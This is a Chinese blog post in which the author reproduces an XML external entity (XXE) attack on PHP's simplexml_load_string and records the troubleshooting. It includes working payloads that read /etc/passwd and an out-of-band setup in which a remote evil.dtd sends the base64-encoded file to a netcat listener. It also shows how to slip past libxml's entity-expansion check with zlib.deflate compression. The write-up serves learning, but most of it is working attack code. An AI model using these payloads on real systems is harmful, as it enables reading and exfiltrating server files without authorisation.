XXE实体引用非预期错误

关于XXE,我自己想来重现一下,却发现很多地方并不行。但网上并没有好的解决方法,然后有了下文,记录一下,顺便填坑填坑.

php 版本:PHP Version 5.6.9-0+deb8u1+libxml 2.9.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$xml=<<< EOF
< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY b SYSTEM "file:///etc/passwd">

]>
< c>&b;< /c>

EOF;

$data =simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
echo '< pre>';

print_r(($data));

echo '< /pre>';

用的simplexml_load_string() , 上面语句会引用一个外部实体file://协议,LIBXM_NOENT 常量2 表示解析实体 ,结果是正常回显的.

我想把这个实体的内容通过下一个实体引用的http请求发送出去,修改一下 DTD 即如下:

1
2
3
4
5
6
7
8
9
< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>
< !ENTITY % init "< !ENTITY % trick SYSTEM 'http://127.0.0.1:9999/?%file;'>">
%init;
%trick;

]>

这里我用PHP filter 编码了/etc/pass ,因为这里就不用担心一些文件里面特殊字符的影响,在传输的时候不用去考虑传输特殊字符。 init实体里面包裹了trick,这里我说一下为什么要这样做,而不是直接写trick,如果你不中间转一下http://127.0.0.1:9999/?%file里面file的值是不会被替换的,相当于替换了站位符。 监听nc -l -p 9999 DTD好像也没什么错,但是报错了Warning: simplexml_load_string(): Entity: line 5: parser error : PEReferences forbidden in internal subset in /var/www/html/xxe.php on line 16查了一下,禁止使用外部引用这样构造。但是我们可以用远程的DTD来代替本地的DTD定义。

1
2
3
4
5
6
7
8
9
< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY % remote SYSTEM 'http://127.0.0.1/evil.dtd'>
%remote;
%init;
%trick;

]>

evil.dtd

1
2
3
4
< !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
< !ENTITY % init
"< !ENTITY &#37; trick SYSTEM 'http://127.0.0.1:9999/?%file;'>"
>

现在来说不会发生 parse 错误了,但是我又出现了奇怪的错误,有一个 parser error Warning: simplexml_load_string(): http://127.0.0.1/evil.dtd:3: parser error : Detected an entity reference loop in /var/www/html/xxe.php on line 16查了一波资料,隐约好像是说 加载的实体内容太大了。去看一下libxml source code,发现了xmlParserEntityCheck 函数会抛出 XML_ERR_ENTITY_LOOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define XML_PARSER_BIG_ENTITY 1000
#define XML_PARSER_NON_LINEAR 10
[…]
static int
xmlParserEntityCheck(xmlParserCtxtPtr ctxt, unsigned long size,
xmlEntityPtr ent)
{
[…]
if (size < XML_PARSER_BIG_ENTITY)
return(0);
[…]
if ((size < XML_PARSER_NON_LINEAR * consumed) &&
(ctxt>nbentities * 3 < XML_PARSER_NON_LINEAR * consumed))
return (0);
[…]
xmlFatalErr(ctxt, XML_ERR_ENTITY_LOOP, NULL);
return (1);
[…]

当实体加载完毕后,验证会触发:

  1. 其大小是否小于 1000 字符
  2. 其大小是否小于已经加载的内容大小10倍 ,并且已经加载的实体引用的数量的3倍是否小于已经加载的内容大小的10倍 满足一上条件之一,则返回 0,无错误。否在抛出error。

显然当我们加载 /etc/passwd 的时候 扩大整个XML 文档太多了,这个时候2个优化方法:

  1. 添加一些无用二进制序列,慢慢先增大xml,不要一开始就加载大的实体引用。
  2. 用一些其他的php filter 来压缩原始数据,比如 zlib.deflate,尽可能的不要去触发扩张检测
1
2
3
< !ENTITY % trash SYSTEM "< !ENTITY &#37; tr SYSTEM '{$long}'>"> //$long='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...' //500*'a'

< !ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">

Warning: simplexml_load_string(http://127.0.0.1:9999/?fVZbb6s4EH7vr+Bxj9SIcEna+K09lfZhT4+6zUr7uDLg......) 成功,我仅仅使用 php://filter/zlib.deflate 就解决了这个问题 。而后我知道这其实是一种保护,防止xml 文档大小以指数扩大。 纸上得来终觉浅,很多事情你以为可能就是这样,但是真的是这样吗?我可能要问问自己,别人实验没有这样的问题,不代表就没有。猜坑之旅,路无止境......